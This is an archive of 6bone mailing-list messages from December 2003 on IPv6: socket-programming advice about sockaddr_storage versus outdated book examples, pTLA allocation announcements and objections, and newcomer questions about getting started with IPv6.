> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

--
Douglas Wade Needham - KA8ZRT        UN*X Consultant & UW/BSD kernel
programmer
Email:  cinnion @ ka8zrt . com       http://cinnion.ka8zrt.com
Disclaimer: My opinions are my own.  Since I don't want them, why
            should my employer, or anybody else for that matter!
_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone


From baby_boo_u@hotmail.com Sat Dec 13 22:43:24 2003
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Subject: [6bone] RE: Contents of 6bone digest Vol 1 #441
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<html><div style='background-color:'><P>hello there...</P>
<P>well members..thanx for replying ot me..it was so nice of u to do so...well this is my first time in using it..and i was waiting for the confirmation for three weeks and i just got it two days ago...</P>
<P><IMG height=1 src="http://graphics.hotmail.com/greypixel.gif" style="HEIGHT: 10px; WIDTH: 517px" vspace=9 width=1></P>
<P>oh well maybe because allot of people subscriping to the list,,so i guess thats the main reason to do so. </P>
<P>and i was wondering if you guys have any idea about IPv6 or IPng ( IP next generation ). Thanx<BR></P>
<P><BR>Keep in touch <IMG height=19 src="http://graphics.hotmail.com/i.p.emwink.gif" width=19></P>&gt;From: 6bone-request@mailman.isi.edu &gt;Reply-To: 6bone@mailman.isi.edu &gt;To: 6bone@mailman.isi.edu &gt;Subject: 6bone digest, Vol 1 #441 - 5 msgs &gt;Date: Sat, 13 Dec 2003 12:05:07 -0800 (PST) &gt; &gt;Send 6bone mailing list submissions to &gt; 6bone@mailman.isi.edu &gt; &gt;To subscribe or unsubscribe via the World Wide Web, visit &gt; http://mailman.isi.edu/mailman/listinfo/6bone &gt;or, via email, send a message with subject or body 'help' to &gt; 6bone-request@mailman.isi.edu &gt; &gt;You can reach the person managing the list at &gt; 6bone-admin@mailman.isi.edu &gt; &gt;When replying, please edit your Subject line so it is more specific &gt;than "Re: Contents of 6bone digest..." &gt; &gt; &gt;Today's Topics: &gt; &gt; 1. my first message... (noor al huda) &gt; 2. Re: my first message... (Joe Williams) &gt; 3. Re: my first message... (Danny Horne) &gt; 4. RE: my first message... (Jeroen Massar) &gt; 5. Re: my first message... (Danny Horne) &gt; &gt;--__--__-- &gt; &gt;Message: 1 &gt;From: "noor al huda" <BABY_BOO_U@HOTMAIL.COM>&gt;To: 6bone@mailman.isi.edu &gt;Date: Sat, 13 Dec 2003 11:58:56 +0400 &gt;Subject: [6bone] my first message... &gt; &gt;
<DIV>
<P>Hello members...</P>&gt;
<P>I am happy to join the 6bone mailiing list..This is my first time in being a part of such a huge mailing list like 6bone and i hope we could help eachother and learn more about everything and anything. </P>&gt;
<P>looking forward to hear from you soon..</P>&gt;
<P>yours, shadin.<BR><BR><BR></P>&gt;
<DIV>Keep in touch <IMG height=19 src="http://graphics.hotmail.com/i.p.emwink.gif" width=19></DIV></DIV><BR clear=all>
<HR>
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Dear Sir,
 
I am doing my Project related to IPv6.
 
According to Protocol independt program mentioned in Steven's book, if I mention the IPV6 address it is giving "Segmentation fault".
 
What should I do for it? Please sugest me regarding that. Or is there any other books or websites for IPv6 programming?
 
 
thanking U
 
Mamtha
 
 

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<DIV>Dear Sir,</DIV>
<DIV>&nbsp;</DIV>
<DIV>I am doing my Project related to IPv6.</DIV>
<DIV>&nbsp;</DIV>
<DIV>According to Protocol independt program mentioned in Steven's book, if I mention the IPV6 address it is giving "Segmentation fault".</DIV>
<DIV>&nbsp;</DIV>
<DIV>What should I do for it? Please sugest me regarding that. Or is there any other books or websites for IPv6 programming?</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>thanking U</DIV>
<DIV>&nbsp;</DIV>
<DIV>Mamtha</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV><p><font face=arial size=-1>
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From itojun@itojun.org Sun Dec 14 22:03:51 2003
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> Dear Sir,
> I am doing my Project related to IPv6.
> According to Protocol independt program mentioned in Steven's book, if I mention
>  the IPV6 address it is giving "Segmentation fault".
> What should I do for it? Please sugest me regarding that. Or is there any other 
> books or websites for IPv6 programming?

	Stevens' book (TCP/IP network programming) has very old description of
	protocol independent programming, so do not refer it.  rather, please
	refer the following:
	http://www.kame.net/newsletter/19980604/
	http://www.usenix.org/publications/library/proceedings/usenix2000/freenix/metzprotocol/

	if you could disclose the operating system you are using, you would
	be able to get more help.

itojun

From pim@ipng.nl Sun Dec 14 23:48:10 2003
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Hi Itojun,

| 	Stevens' book (TCP/IP network programming) has very old description of
| 	protocol independent programming, so do not refer it.  rather, please
| 	refer the following:
| 	http://www.kame.net/newsletter/19980604/
| 	http://www.usenix.org/publications/library/proceedings/usenix2000/freenix/metzprotocol/

As a sidenote, can you explain what exactly is wrong or inconvenient
with struct addrinfo ? I read the Book[tm] and have developped coding
style to match Stevens' thoughts. I could be easily persuaded to change
my code, but do not see any benefit of the sockaddr_storage yet. There's
already a struct sockaddr in struct addrinfo, along with an ai_family and
ai_addrlen .. so what bonus do I get from sockaddr_storage ?

groet,
Pim

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Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From itojun@itojun.org Sun Dec 14 23:55:46 2003
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> | 	Stevens' book (TCP/IP network programming) has very old description of
> | 	protocol independent programming, so do not refer it.  rather, please
> | 	refer the following:
> | 	http://www.kame.net/newsletter/19980604/
> | 	http://www.usenix.org/publications/library/proceedings/usenix2000/freenix/metzprotocol/
> 
> As a sidenote, can you explain what exactly is wrong or inconvenient
> with struct addrinfo ? I read the Book[tm] and have developped coding
> style to match Stevens' thoughts. I could be easily persuaded to change
> my code, but do not see any benefit of the sockaddr_storage yet. There's
> already a struct sockaddr in struct addrinfo, along with an ai_family and
> ai_addrlen .. so what bonus do I get from sockaddr_storage ?

	i have no problem with struct addrinfo (i LOVE it, and i wrote a book
	which describes getaddrinfo/getnameinfo and those functions ONLY).
	the Stevens book just does not match the currently-deployed
	implementation (RFC2553/3493), as the book was published before the
	standard is published.  also the book contains other errors (different
	from implementation), specifically in raw IPv6 socket description.
	so i tried to warn about it.

itojun

From itojun@itojun.org Sun Dec 14 23:58:43 2003
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> Hi Itojun,
> 
> | 	Stevens' book (TCP/IP network programming) has very old description of
> | 	protocol independent programming, so do not refer it.  rather, please
> | 	refer the following:
> | 	http://www.kame.net/newsletter/19980604/
> | 	http://www.usenix.org/publications/library/proceedings/usenix2000/freenix/metzprotocol/
> 
> As a sidenote, can you explain what exactly is wrong or inconvenient
> with struct addrinfo ? I read the Book[tm] and have developped coding
> style to match Stevens' thoughts. I could be easily persuaded to change
> my code, but do not see any benefit of the sockaddr_storage yet. There's
> already a struct sockaddr in struct addrinfo, along with an ai_family and
> ai_addrlen .. so what bonus do I get from sockaddr_storage ?

	sockaddr_storage is useful when you need to reserve a chunk of memory 
	to be used for getpeername/getsockname.  it is ensured to be bigger
	than any type of sockaddrs, so if you write a program like

		struct sockaddr_storage ss;
		socklen_t slen;

		slen = sizeof(ss);
		error = getpeername(s, (struct sockaddr *)&ss, &slen);

	it will work on any platform, regardless from what kind of sockaddr
	the system might have.  if you write something like

		char ss[32];
		socklen_t slen;

		slen = sizeof(ss);
		error = getpeername(s, (struct sockaddr *)&ss, &slen);

	you will experience buffer overflow if the system supports sockaddr
	bigger than 32 bytes.

itojun

From pim@ipng.nl Mon Dec 15 01:11:09 2003
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Hi,

| 		struct sockaddr_storage ss;
| 		socklen_t slen;
| 
| 		slen = sizeof(ss);
| 		error = getpeername(s, (struct sockaddr *)&ss, &slen);
Understood. I would have used 'the largest known sockaddr', which in my
case is sockaddr_un. Lookint at sockaddr_storage a bit, I think it
resembles what most people already were using in the form of a union of
sockaddr_* structs.

I see your point and understand the benefit. Thanks for the quick
pointer!

groet,
Pim

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From dean@dragon.stack.nl Mon Dec 15 01:33:40 2003
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Jun-ichiro itojun Hagino wrote:
> 	i have no problem with struct addrinfo (i LOVE it, and i wrote a book
> 	which describes getaddrinfo/getnameinfo and those functions ONLY).
> 	the Stevens book just does not match the currently-deployed
> 	implementation (RFC2553/3493), as the book was published before the
> 	standard is published.  also the book contains other errors (different
> 	from implementation), specifically in raw IPv6 socket description.
> 	so i tried to warn about it.

That's too bad.. well, I guess the new 3rd Edition is updated then on
these points(?).

-- 
Dean C. Strik             Eindhoven University of Technology
dean@stack.nl  |  dean@ipnet6.org  |  http://www.ipnet6.org/
"This isn't right. This isn't even wrong." -- Wolfgang Pauli

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Cc: Haesu <haesu@towardex.com>,
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Subject: [6bone] 6bone pTLA 3FFE:401D::/32 allocated to TOWARDEX
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TOWARDEX has been allocated pTLA 3FFE:401D::/32 having finished its review 
period.

   <http://whois.6bone.net/cgi-bin/whois?TOWARDEX>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration in e.f.f.3.ip6.int for pTLAs, please 
send the prefix allocated above, and a list of at least two authoritative 
nameservers, to hostmaster@ep.net.]

[Note: The effort to startup e.f.f.3.ip6.arpa is well underway with the 
draft 
http://www.ietf.org/internet-drafts/draft-ymbk-6bone-arpa-delegation-01.txt 
now approved by the IETF/IESG as a BCP RFC. We are in the process of 
getting IANA to do the actual delegation to the 6bone ip6.arpa servers. 
There will be an announcement of progress soon.]


In conformance with the 6bone phaseout plan, no new pTLA allocations are to 
be made after the end of the year. Thus no more applications for pTLAs are 
being accepted.


Thanks,

Bob 


From matrix@miracle1.net Mon Dec 15 18:39:18 2003
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From: "J. Miracle" <matrix@miracle1.net>
To: 6bone@mailman.isi.edu
Cc: Jeroen Massar <jeroen@unfix.org>, "Bob Fink'" <bob@thefinks.com>,
   Pim van Pelt <pim@ipng.nl>
Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
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I share views with Jeroen and Pim van Pelt. I do not feel that CTN1 has met all of the requirements to request a pTLA. They don't seem to have an immediate need for one, especially with only one BGP uplink. Why not just get IPv6 space from your uplink / transit provider?
Thanks,
J. Miracle
VLINK Internet Systems

On Tue, 2 Dec 2003 22:09:42 -0500
"Gregg C Levine" <hansolofalcon@worldnet.att.net> wrote: [Message-ID: 000001c3b94a$e652a440$0100a8c0@who5]

GCL> Hello from Gregg C Levine
GCL> I agree, with Pekka Savola, here. If we are going to admit service
GCL> providers as described in both items 2, and 3, then that company
GCL> obviously does not. When I saw the original message earlier today, I
GCL> saw something strange about it, but I could not finger it. Therefore,
GCL> as I said, I agree here with Pekka Savola, that this one should not be
GCL> granted.
GCL> -------------------
GCL> Gregg C Levine hansolofalcon@worldnet.att.net
GCL> ------------------------------------------------------------
GCL> "The Force will be with you...Always." Obi-Wan Kenobi
GCL> "Use the Force, Luke."  Obi-Wan Kenobi
GCL> (This company dedicates this E-Mail to General Obi-Wan Kenobi )
GCL> (This company dedicates this E-Mail to Master Yoda )
GCL> 
GCL> 
GCL> 
GCL> > -----Original Message-----
GCL> > From: 6bone-admin@mailman.isi.edu
GCL> [mailto:6bone-admin@mailman.isi.edu] On
GCL> > Behalf Of Pekka Savola
GCL> > Sent: Tuesday, December 02, 2003 3:14 PM
GCL> > To: Bob Fink
GCL> > Cc: 6BONE List; Marc GOMEZ
GCL> > Subject: Re: [6bone] pTLA request by CTN1 - review closes 16
GCL> December 2003
GCL> > 
GCL> > On Tue, 2 Dec 2003, Bob Fink wrote:
GCL> > > CTN1 has requested a pTLA allocation and I find their request
GCL> fully
GCL> > > compliant with RFC2772. The open review period for this closes 16
GCL> December
GCL> > > 2003. Please send your comments to me or the list.
GCL> > >
GCL> > >    <http://www.ctn1.com>
GCL> > >
GCL> > > This may be the last 6bone pTLA allocation made as the phaseout
GCL> plan
GCL> > > specifies no new pTLA allocations after the end of this year. Thus
GCL> if
GCL> > > anyone is expecting to request a pTLA, the request must be sent to
GCL> me no
GCL> > > later than 5 December to allow enough review and approval time
GCL> prior to 31
GCL> > > December.
GCL> > 
GCL> > I do not believe this application fulfills the criteria for 2) or
GCL> 3).
GCL> > In particular, CTN1 is clearly a web/server-hosting company; this is
GCL> > not backbone operations:
GCL> > 
GCL> >  2. The pTLA Applicant MUST have the ability and intent to provide
GCL> >         "production-quality" 6Bone backbone service. [...]
GCL> > 
GCL> > and:
GCL> > 
GCL> >     3. The pTLA Applicant MUST have a potential "user community"
GCL> that
GCL> >         would be served by its becoming a pTLA, e.g., the Applicant
GCL> is a
GCL> >         major provider of Internet service in a region, country, or
GCL> focus
GCL> >         of interest. Applicant must provide a statement and
GCL> information in
GCL> >         support this claim.
GCL> > 
GCL> > There was an answer to the latter, but it did not answer the real
GCL> > question, how would the user community be served by its becoming a
GCL> > *pTLA*.  Sure, it's nice to give access to the users, but that can
GCL> be
GCL> > done as an end-site as well, as is currently being done.
GCL> > 
GCL> > I'd strongly object to granting this pTLA request.
GCL> > 
GCL> > > ===
GCL> > > >From: "Marc GOMEZ" <mg@ctn1.com>
GCL> > > >To: <bob@thefinks.com>
GCL> > > >Cc: <6bone@ctn1.net>
GCL> > > >Subject: 6bone request form
GCL> > > >Date: Mon, 1 Dec 2003 23:06:31 +0100
GCL> > > >
GCL> > > >Dear Bob,
GCL> > > >
GCL> > > >I'd like to request a pTLA for CTN1, please find relevant info
GCL> below.
GCL> > > >
GCL> > > > >From RFC 2772
GCL> > > >
GCL> > > >
GCL> > > >7. Guidelines for 6Bone pTLA sites
GCL> > > >
GCL> > > >
GCL> > > >    The following rules apply to qualify for a 6Bone pTLA
GCL> allocation. It
GCL> > > >     should be recognized that holders of 6Bone pTLA allocations
GCL> are
GCL> > > >     expected to provide production quality backbone network
GCL> services for
GCL> > > >     the 6Bone.
GCL> > > >
GCL> > > >
GCL> > > >    1. The pTLA Applicant must have a minimum of three (3) months
GCL> > > >        qualifying experience as a 6Bone end-site or pNLA
GCL> transit.   During
GCL> > > >        the entire qualifying period the Applicant must be
GCL> operationally
GCL> > > >        providing the following:
GCL> > > >
GCL> > > >Our IPv6 site is operational since 09 August 2003.
GCL> > > >
GCL> > > >        a. Fully maintained, up to date, 6Bone Registry entries
GCL> for their
GCL> > > >           ipv6-site inet6num, mntner, and person objects,
GCL> including each
GCL> > > >           tunnel that the Applicant has.
GCL> > > >
GCL> > > >http://whois.6bone.net/cgi-bin/whois?CTN1
GCL> > > >
GCL> > > >
GCL> > > >       b. Fully maintained, and reliable, BGP4+ peering and
GCL> connectivity
GCL> > > >           between the Applicant's boundary router and the
GCL> appropriate
GCL> > > >           connection point into the 6Bone. This router must be
GCL> IPv6
GCL> > > >           pingable. This criteria is judged by members of the
GCL> 6Bone
GCL> > > >           Operations Group at the time of the Applicant's pTLA
GCL> request.
GCL> > > >
GCL> > > >Our ASN is 29402.
GCL> > > >We have an IPv6 native Gigabit connexion to FNIX6.
GCL> > > >NDSoftware (AS25358) provide us IPv6 transit through FNIX6.
GCL> > > >
GCL> > > >
GCL> > > >       c. Fully maintained DNS forward (AAAA) and reverse
GCL> (ip6.int)
GCL> > > >           entries for the Applicant's router(s) and at least one
GCL> host
GCL> > > >           system.
GCL> > > >
GCL> > > >We have 3 nameservers:
GCL> > > >  - ns1.ctn1.net
GCL> > > >  - ns2.ctn1.net
GCL> > > >
GCL> > > >       d. A fully maintained, and reliable, IPv6-accessible
GCL> system
GCL> > > >           providing, at a mimimum, one or more web pages,
GCL> describing the
GCL> > > >           Applicant's IPv6 services.  This server must be IPv6
GCL> pingable.
GCL> > > >
GCL> > > >http://www.ctn1.com (all services are ready to use with IPv6)
GCL> > > >
GCL> > > >    2. The pTLA Applicant MUST have the ability and intent to
GCL> provide
GCL> > > >        "production-quality" 6Bone backbone service. Applicants
GCL> must
GCL> > > >        provide a statement and information in support of this
GCL> claim.
GCL> > > >        This MUST include the following:
GCL> > > >
GCL> > > >
GCL> > > >       a. A support staff of two persons minimum, three
GCL> preferable, with
GCL> > > >           person attributes registered for each in the ipv6-site
GCL> object
GCL> > > >           for the pTLA applicant.
GCL> > > >
GCL> > > >RP10-6BONE
GCL> > > >MG22-6BONE
GCL> > > >BV3-6BONE
GCL> > > >
GCL> > > >       b. A common mailbox for support contact purposes that all
GCL> support
GCL> > > >           staff have acess to, pointed to with a notify
GCL> attribute in the
GCL> > > >           ipv6-site object for the pTLA Applicant.
GCL> > > >
GCL> > > >6bone@ctn1.net
GCL> > > >
GCL> > > >    3. The pTLA Applicant MUST have a potential "user community"
GCL> that
GCL> > > >        would be served by its becoming a pTLA, e.g., the
GCL> Applicant is a
GCL> > > >        major provider of Internet service in a region, country,
GCL> or focus
GCL> > > >        of interest. Applicant must provide a statement and
GCL> information in
GCL> > > >        support this claim.
GCL> > > >
GCL> > > >CTN1 operates an IPv6 Network and provides a lot of IPv6 services
GCL> to many
GCL> > > >projects.
GCL> > > >We provide: Usenet Provider, Email provider and Hosting Provider
GCL> with dual
GCL> > > >IPv4 and IPv6.
GCL> > > >All IPv6 services is free of charge.
GCL> > > >We encourage all people to start a web site and Email server with
GCL> IPv6.
GCL> > > >
GCL> > > >    4. The pTLA Applicant MUST commit to abide by the current
GCL> 6Bone
GCL> > > >        operational rules and policies as they exist at time of
GCL> its
GCL> > > >        application, and agree to abide by future 6Bone backbone
GCL> > > >        operational rules and policies as they evolve by
GCL> consensus of the
GCL> > > >        6Bone backbone and user community.
GCL> > > >
GCL> > > >
GCL> > > >We agree to all current and future rules and policies.
GCL> > > >
GCL> > > >----
GCL> > >
GCL> > > _______________________________________________
GCL> > > 6bone mailing list
GCL> > > 6bone@mailman.isi.edu
GCL> > > http://mailman.isi.edu/mailman/listinfo/6bone
GCL> > >
GCL> > 
GCL> > --
GCL> > Pekka Savola                 "You each name yourselves king, yet the
GCL> > Netcore Oy                    kingdom bleeds."
GCL> > Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings
GCL> > 
GCL> > _______________________________________________
GCL> > 6bone mailing list
GCL> > 6bone@mailman.isi.edu
GCL> > http://mailman.isi.edu/mailman/listinfo/6bone
GCL> 
GCL> _______________________________________________
GCL> 6bone mailing list
GCL> 6bone@mailman.isi.edu
GCL> http://mailman.isi.edu/mailman/listinfo/6bone

From frank.troy@si-intl.com Tue Dec 16 04:19:06 2003
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Hey Folks,

=20

I am currently going through a study to quantify the IPv6 addressing
needs of a very large (global) network.  I need to justify the space so
it can be presented to ARIN without protest.  Where can I find some
lessons learned or good sources of information on this topic? =20

=20

Thanks =20

=20

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

 Frank P. Troy

 SI International

 703-234-6969

 frank.troy@si-intl.com

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

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<p class=3DMsoNormal><font size=3D2 face=3DArial><span style=3D'font-size:1=
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font-family:Arial'>Hey Folks,</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span style=3D'font-size:1=
0.0pt;
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<p class=3DMsoNormal><font size=3D2 face=3DArial><span style=3D'font-size:1=
0.0pt;
font-family:Arial'>I am currently going through a study to quantify the IPv=
6 addressing
needs of a very large (global) network.&nbsp; I need to justify the space s=
o it
can be presented to ARIN without protest.&nbsp; Where can I find some lesso=
ns
learned or good sources of information on this topic?&nbsp; </span></font><=
/p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span style=3D'font-size:1=
0.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span style=3D'font-size:1=
0.0pt;
font-family:Arial'>Thanks&nbsp; </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span style=3D'font-size:1=
0.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span style=3D'font-size:1=
0.0pt;
font-family:Arial'>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span style=3D'font-size:1=
0.0pt;
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 style=3D'font-size:10.0pt;font-family:Arial'>Frank P. Troy</span></font></=
p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span style=3D'font-size:1=
0.0pt;
font-family:Arial'>&nbsp;SI International</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span style=3D'font-size:1=
0.0pt;
font-family:Arial'>&nbsp;703-234-6969</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span style=3D'font-size:1=
0.0pt;
font-family:Arial'>&nbsp;<a href=3D"mailto:frank.troy@si-intl.com">frank.tr=
oy@si-intl.com</a></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span style=3D'font-size:1=
0.0pt;
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From cwl.hoogenboezem@infra.carrier6.net Tue Dec 16 05:25:53 2003
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From: "C.W.L. Hoogenboezem" <cwl.hoogenboezem@infra.carrier6.net>
To: 6bone@mailman.isi.edu
Subject: RE: [6bone] Address Allocation Question
Date: Wed, 17 Dec 2003 14:24:51 +0100
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Frank,

ARIN has an informative document about this matter on their homepage, and
this is the exact URL: http://www.arin.net/policy/ipv6_policy.html.

Educational projects usually have a good chance of getting their addresses
allocated. Be sure to clearly describe the purpose of your study (and in
particular what it has to do with this project), just as a tip.

Best regards,
  Chris Hoogenboezem
  Carrier6 The Netherlands

-----Oorspronkelijk bericht-----
Van: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]Namens
Troy, Frank
Verzonden: dinsdag 16 december 2003 13:19
Aan: 6bone@mailman.isi.edu
Onderwerp: [6bone] Address Allocation Question


Hey Folks,

I am currently going through a study to quantify the IPv6 addressing needs
of a very large (global) network.  I need to justify the space so it can be
presented to ARIN without protest.  Where can I find some lessons learned or
good sources of information on this topic?

Thanks

========================
 Frank P. Troy
 SI International
 703-234-6969
 frank.troy@si-intl.com
========================


From baby_boo_u@hotmail.com Tue Dec 16 07:55:05 2003
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<html><div style='background-color:'><P>Yeah well i guess the admin was on vacation and wow it takes allot of time. Ummm how does it go through IPv6..I thought IPv6 was under experimentation ... or is it?<BR><BR></P><BR><BR><BR>
<DIV>Keep in touch <IMG height=19 src="http://graphics.hotmail.com/i.p.emwink.gif" width=19></DIV></div><br clear=all><hr>Add photos to your e-mail with <a href="http://g.msn.com/8HMBEN/2746??PS=">MSN 8.</a> Get 2 months FREE*.</html>

From Twitch303@comcast.net Tue Dec 16 16:23:30 2003
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Subject: [6bone] 6Bone connection?
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Hi.
I'm steven hixson I'm somewhat of a hobbyist who's working with ipv6. I have
an ipv6 router and dns server set up, Ive even set up an IPv6 tunnel and I
have a fairly large address range with which to present data. just that I
dont think my AAAA records are listed anywhere or whatnot and I'm really
having a difficult time deciding what to do next with the address range I
have been allocated. Ive added the microsoft advanced networking stack on my
intranet and the system appears to respond normally. My question is, whats
my best next step? I had considered setting up a point of presence so that
other machines could tunnel, after I build my next server, but the standard
IP addresses (v4) I have been allocated amount to only the one. Finally, if
I were to construct a series of virtual servers for use on the IPv6 internet
would there be a market for the machines? What would you like your server to
be capable of?




----- Original Message ----- 
From: "J. Miracle" <matrix@miracle1.net>
To: <6bone@mailman.isi.edu>
Cc: "Jeroen Massar" <jeroen@unfix.org>; "Bob Fink'" <bob@thefinks.com>; "Pim
van Pelt" <pim@ipng.nl>
Sent: Monday, December 15, 2003 7:39 PM
Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003


> I share views with Jeroen and Pim van Pelt. I do not feel that CTN1 has
met all of the requirements to request a pTLA. They don't seem to have an
immediate need for one, especially with only one BGP uplink. Why not just
get IPv6 space from your uplink / transit provider?
> Thanks,
> J. Miracle
> VLINK Internet Systems
>
> On Tue, 2 Dec 2003 22:09:42 -0500
> "Gregg C Levine" <hansolofalcon@worldnet.att.net> wrote: [Message-ID:
000001c3b94a$e652a440$0100a8c0@who5]
>
> GCL> Hello from Gregg C Levine
> GCL> I agree, with Pekka Savola, here. If we are going to admit service
> GCL> providers as described in both items 2, and 3, then that company
> GCL> obviously does not. When I saw the original message earlier today, I
> GCL> saw something strange about it, but I could not finger it. Therefore,
> GCL> as I said, I agree here with Pekka Savola, that this one should not
be
> GCL> granted.
> GCL> -------------------
> GCL> Gregg C Levine hansolofalcon@worldnet.att.net
> GCL> ------------------------------------------------------------
> GCL> "The Force will be with you...Always." Obi-Wan Kenobi
> GCL> "Use the Force, Luke." Obi-Wan Kenobi
> GCL> (This company dedicates this E-Mail to General Obi-Wan Kenobi )
> GCL> (This company dedicates this E-Mail to Master Yoda )
> GCL>
> GCL>
> GCL>
> GCL> > -----Original Message-----
> GCL> > From: 6bone-admin@mailman.isi.edu
> GCL> [mailto:6bone-admin@mailman.isi.edu] On
> GCL> > Behalf Of Pekka Savola
> GCL> > Sent: Tuesday, December 02, 2003 3:14 PM
> GCL> > To: Bob Fink
> GCL> > Cc: 6BONE List; Marc GOMEZ
> GCL> > Subject: Re: [6bone] pTLA request by CTN1 - review closes 16
> GCL> December 2003
> GCL> >
> GCL> > On Tue, 2 Dec 2003, Bob Fink wrote:
> GCL> > > CTN1 has requested a pTLA allocation and I find their request
> GCL> fully
> GCL> > > compliant with RFC2772. The open review period for this closes 16
> GCL> December
> GCL> > > 2003. Please send your comments to me or the list.
> GCL> > >
> GCL> > >    <http://www.ctn1.com>
> GCL> > >
> GCL> > > This may be the last 6bone pTLA allocation made as the phaseout
> GCL> plan
> GCL> > > specifies no new pTLA allocations after the end of this year.
Thus
> GCL> if
> GCL> > > anyone is expecting to request a pTLA, the request must be sent
to
> GCL> me no
> GCL> > > later than 5 December to allow enough review and approval time
> GCL> prior to 31
> GCL> > > December.
> GCL> >
> GCL> > I do not believe this application fulfills the criteria for 2) or
> GCL> 3).
> GCL> > In particular, CTN1 is clearly a web/server-hosting company; this
is
> GCL> > not backbone operations:
> GCL> >
> GCL> >  2. The pTLA Applicant MUST have the ability and intent to provide
> GCL> >         "production-quality" 6Bone backbone service. [...]
> GCL> >
> GCL> > and:
> GCL> >
> GCL> >     3. The pTLA Applicant MUST have a potential "user community"
> GCL> that
> GCL> >         would be served by its becoming a pTLA, e.g., the Applicant
> GCL> is a
> GCL> >         major provider of Internet service in a region, country, or
> GCL> focus
> GCL> >         of interest. Applicant must provide a statement and
> GCL> information in
> GCL> >         support this claim.
> GCL> >
> GCL> > There was an answer to the latter, but it did not answer the real
> GCL> > question, how would the user community be served by its becoming a
> GCL> > *pTLA*.  Sure, it's nice to give access to the users, but that can
> GCL> be
> GCL> > done as an end-site as well, as is currently being done.
> GCL> >
> GCL> > I'd strongly object to granting this pTLA request.
> GCL> >
> GCL> > > ===
> GCL> > > >From: "Marc GOMEZ" <mg@ctn1.com>
> GCL> > > >To: <bob@thefinks.com>
> GCL> > > >Cc: <6bone@ctn1.net>
> GCL> > > >Subject: 6bone request form
> GCL> > > >Date: Mon, 1 Dec 2003 23:06:31 +0100
> GCL> > > >
> GCL> > > >Dear Bob,
> GCL> > > >
> GCL> > > >I'd like to request a pTLA for CTN1, please find relevant info
> GCL> below.
> GCL> > > >
> GCL> > > > >From RFC 2772
> GCL> > > >
> GCL> > > >
> GCL> > > >7. Guidelines for 6Bone pTLA sites
> GCL> > > >
> GCL> > > >
> GCL> > > >    The following rules apply to qualify for a 6Bone pTLA
> GCL> allocation. It
> GCL> > > >     should be recognized that holders of 6Bone pTLA allocations
> GCL> are
> GCL> > > >     expected to provide production quality backbone network
> GCL> services for
> GCL> > > >     the 6Bone.
> GCL> > > >
> GCL> > > >
> GCL> > > >    1. The pTLA Applicant must have a minimum of three (3)
months
> GCL> > > >        qualifying experience as a 6Bone end-site or pNLA
> GCL> transit.   During
> GCL> > > >        the entire qualifying period the Applicant must be
> GCL> operationally
> GCL> > > >        providing the following:
> GCL> > > >
> GCL> > > >Our IPv6 site is operational since 09 August 2003.
> GCL> > > >
> GCL> > > >        a. Fully maintained, up to date, 6Bone Registry entries
> GCL> for their
> GCL> > > >           ipv6-site inet6num, mntner, and person objects,
> GCL> including each
> GCL> > > >           tunnel that the Applicant has.
> GCL> > > >
> GCL> > > >http://whois.6bone.net/cgi-bin/whois?CTN1
> GCL> > > >
> GCL> > > >
> GCL> > > >       b. Fully maintained, and reliable, BGP4+ peering and
> GCL> connectivity
> GCL> > > >           between the Applicant's boundary router and the
> GCL> appropriate
> GCL> > > >           connection point into the 6Bone. This router must be
> GCL> IPv6
> GCL> > > >           pingable. This criteria is judged by members of the
> GCL> 6Bone
> GCL> > > >           Operations Group at the time of the Applicant's pTLA
> GCL> request.
> GCL> > > >
> GCL> > > >Our ASN is 29402.
> GCL> > > >We have an IPv6 native Gigabit connexion to FNIX6.
> GCL> > > >NDSoftware (AS25358) provide us IPv6 transit through FNIX6.
> GCL> > > >
> GCL> > > >
> GCL> > > >       c. Fully maintained DNS forward (AAAA) and reverse
> GCL> (ip6.int)
> GCL> > > >           entries for the Applicant's router(s) and at least
one
> GCL> host
> GCL> > > >           system.
> GCL> > > >
> GCL> > > >We have 3 nameservers:
> GCL> > > >  - ns1.ctn1.net
> GCL> > > >  - ns2.ctn1.net
> GCL> > > >
> GCL> > > >       d. A fully maintained, and reliable, IPv6-accessible
> GCL> system
> GCL> > > >           providing, at a mimimum, one or more web pages,
> GCL> describing the
> GCL> > > >           Applicant's IPv6 services.  This server must be IPv6
> GCL> pingable.
> GCL> > > >
> GCL> > > >http://www.ctn1.com (all services are ready to use with IPv6)
> GCL> > > >
> GCL> > > >    2. The pTLA Applicant MUST have the ability and intent to
> GCL> provide
> GCL> > > >        "production-quality" 6Bone backbone service. Applicants
> GCL> must
> GCL> > > >        provide a statement and information in support of this
> GCL> claim.
> GCL> > > >        This MUST include the following:
